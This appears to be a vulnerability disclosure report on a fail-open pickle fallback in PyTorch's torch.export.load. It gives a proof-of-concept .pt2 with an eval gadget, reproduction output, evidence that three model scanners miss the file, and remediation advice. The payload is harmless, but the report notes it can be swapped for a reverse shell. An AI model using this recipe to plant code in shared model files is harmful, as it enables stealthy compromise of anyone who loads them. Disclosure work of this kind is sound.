Views
No views yet
.pt2 — fail-open pickle fallback → arbitrary code execution (CWE-502 / CWE-94)torch_export) because all three scanners MISS the .pt2, and (b) a genuine PyTorch library ACE worthy of a GitHub Security Advisory regardless of scanner behavior.torch.export.load("model.pt2") — the standard, documented loader for PyTorch's
.pt2 export archive — deserializes the packaged example_inputs (and constants /
state_dict) through torch._export.serde.serialize.deserialize_torch_artifact().
That function attempts a safe torch.load(..., weights_only=True) and, on ANY
exception, silently falls back to torch.load(..., weights_only=False), which
executes arbitrary pickle __reduce__ / GLOBAL code.GLOBAL (__builtin__.eval). Under weights_only=True the
safe unpickler's find_class() rejects it and raises — which triggers the unsafe
fallback, running the attacker's code. The payload returns an empty tuple, so
deserialize_torch_artifact()'s isinstance(artifact,(tuple,dict)) post-check
passes and torch.export.load() returns a normal ExportedProgram with no error
and no warning surfaced to the caller — fully stealth.torch.export, exactly the arbitrary-code-execution that
PyTorch 2.6 closed when it flipped torch.load's weights_only default to True.
The safe default is present but structurally defeated by the blanket
except Exception: → weights_only=False.torch/_export/serde/serialize.py → deserialize_torch_artifact():427 def deserialize_torch_artifact(serialized):
...
434 buffer = io.BytesIO(serialized)
435 buffer.seek(0)
436 # weights_only=False as we want to load custom objects here (e.g. ScriptObject)
437 try:
438 artifact = torch.load(buffer, weights_only=True) # safe path
439 except Exception as e:
440 buffer.seek(0)
441 artifact = torch.load(buffer, weights_only=False) # <-- UNSAFE FALLBACK: arbitrary code exec
442 log.warning("Fallback to weights_only=False succeeded. ...")
...
448 if not isinstance(artifact, (tuple, dict)):
449 raise AssertionError(...)torch.export.load() → torch/export/__init__.py:load() →
torch/export/pt2_archive/_package.py:load_pt2() → _load_exported_programs() →
ExportedProgramDeserializer.deserialize() →
GraphModuleDeserializer.deserialize() (serialize.py:2989,
self.example_inputs = deserialize_torch_artifact(example_inputs)) →
deserialize_torch_artifact() (serialize.py:442).weights_only=True)/tmp/PT2_RCE_POC.txt):python build_poc.py # -> model.pt2 (malicious) + benign.pt2 (control)1from torch.export import load
2load("model.pt2") # returns ExportedProgram, no exception
3# side effect: /tmp/PT2_RCE_POC.txt now exists -> code executed at load timeverify_exec.py reproduces this and prints the marker contents. Observed output on
torch 2.13.0+cpu:marker present BEFORE load: False
torch.export.load() returned: ExportedProgram (NO exception -> stealth)
marker present AFTER load : True
marker contents : pwned via torch.export.load .pt2 fail-open fallbackFile ".../torch/_export/serde/serialize.py", line 438, in deserialize_torch_artifact
artifact = torch.load(buffer, weights_only=True)
_pickle.UnpicklingError: Weights only load failed. ...
WeightsUnpickler error: Unsupported global: GLOBAL eval was not an allowed global by default...
During handling of the above exception, another exception occurred:
File ".../torch/_export/serde/serialize.py", line 442, in deserialize_torch_artifact
log.warning("Fallback to weights_only=False succeeded. ...") # line 441 already ran the gadgetmodel/data/sample_inputs/model.pt → archive/data.pkl inside the outer .pt2
zip. Disassembly of the inner pickle:0: PROTO 2
2: GLOBAL '__builtin__ eval' # non-allowlisted -> raises under weights_only=True
BINUNICODE "(open('/tmp/PT2_RCE_POC.txt','w').write('...'), ())[1]"
TUPLE1
REDUCE # eval(payload) executes on the fallback load
STOPeval(...) argument for any command
(os.system, reverse shell, etc.). The gadget returns () so the load completes
cleanly and the model still functions — stealthy supply-chain implant in any
.pt2 shared via a model hub.model.pt2 bed23d781a5ab9d8d1dacc9579200e5dc9bb6bc3eb1d273e6b2436fd2b47c12ebenign.pt2 6260246907cb95686a45b3c5c41890da66f63dea06c797927fe068cda0a9c9ae.pt2| Scanner | Command | Verdict on model.pt2 (MALICIOUS) | Verdict on benign.pt2 (control) |
|---|---|---|---|
| modelscan 0.8.8 | modelscan -p model.pt2 | MISS — "No issues found! 🎉"; error: "ModelScan does not support nested zip files." | No issues found |
| picklescan 1.0.5 | picklescan -p model.pt2 | MISS — "Scanned files: 0 / Dangerous globals: 0" (never reaches the nested pickle) | Scanned files: 0 |
| fickling 0.1.12 | fickling --check-safety model.pt2 | MISS — "No pickle files detected" (does not unwrap the .pt2 → nested .pt zip) | No pickle files detected |
archive/data.pkl (then reports OVERTLY_MALICIOUS) — but it also flags the
benign control's inner pickle as LIKELY_UNSAFE (_rebuild_tensor_v2), so even
that manual path is not a clean discriminator, and no automated .pt2 scan reaches
it..pt2 artifact, all three scanners provide
zero detection → this is a clean scanner-bypass, hence huntr Model-File-Format
eligible (target torch_export) and an unmediated library RCE..pt2 is a zip
containing a nested torch-save zip (sample_inputs/model.pt) that itself contains
the pickle — two levels of zip nesting that none of the three scanners descend into.torch_export)torch.export.load() executes arbitrary code from a crafted .pt2 via fail-open weights_only=False fallbacktorch_export (.pt2)torch.export.load(path)deserialize_torch_artifact exists in torch/_export/serde/serialize.py..pt2 as clean (evidence table §4)..pt2 (e.g. downloaded from a model hub) executes
attacker code at load time; model returns normally afterward (stealth).build_poc.py + verify_exec.py (§3).torch.export.load() on a crafted .pt2 archive achieves arbitrary
code execution. torch._export.serde.serialize.deserialize_torch_artifact()
attempts torch.load(weights_only=True) and, on any exception, silently retries
with weights_only=False, defeating the safe-by-default protection introduced in
PyTorch 2.6. A single non-allowlisted GLOBAL in the packaged example-inputs pickle
forces the safe attempt to raise and triggers the unsafe fallback.torch==2.13.0 (latest). The vulnerable
fail-open pattern is present in the current main and every release whose
serialize.py contains this try/except..pt2 model file distributed via a model hub or any
untrusted channel; the victim invokes the ordinary torch.export.load().AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 (High).
(Network-distributed model file; requires the victim to load it; full C/I/A loss via
arbitrary code execution.)serialize.py:437-441:1try:
2 artifact = torch.load(buffer, weights_only=True)
3except Exception as e: # too broad
4 buffer.seek(0)
5 artifact = torch.load(buffer, weights_only=False) # arbitrary code executionweights_only=True raises UnpicklingError for any non-allowlisted global —
including benign-but-unlisted types — and the handler responds by disabling the
safety check entirely, so any attacker who can make the safe path raise (trivial:
include one disallowed GLOBAL) gains code execution.build_poc.py, verify_exec.py); harmless marker payload..pt2 with the
documented API. Silent — the load succeeds and the model works, enabling stealthy
supply-chain compromise.weights_only=False
automatically. If custom objects are genuinely required, gate them behind an
explicit, caller-supplied opt-in (e.g. a trust/allow_unsafe argument that
defaults to False), never as an automatic exception handler.safe_globals allowlist via
torch.serialization.safe_globals([...]) rather than unrestricted
weights_only=False.log.warning; a security-relevant downgrade
should raise by default..pt2 loading refuse nested pickles carrying non-allowlisted globals
outright.build_poc.py — regenerates model.pt2 (malicious) and benign.pt2 (control); harmless marker payload only.verify_exec.py — loads model.pt2 via torch.export.load() and confirms the marker was written (exec proof).model.pt2 — malicious PoC archive.benign.pt2 — benign control (scanner baseline).README.md — this document./tmp/PT2_RCE_POC.txt written by torch.export.load("model.pt2").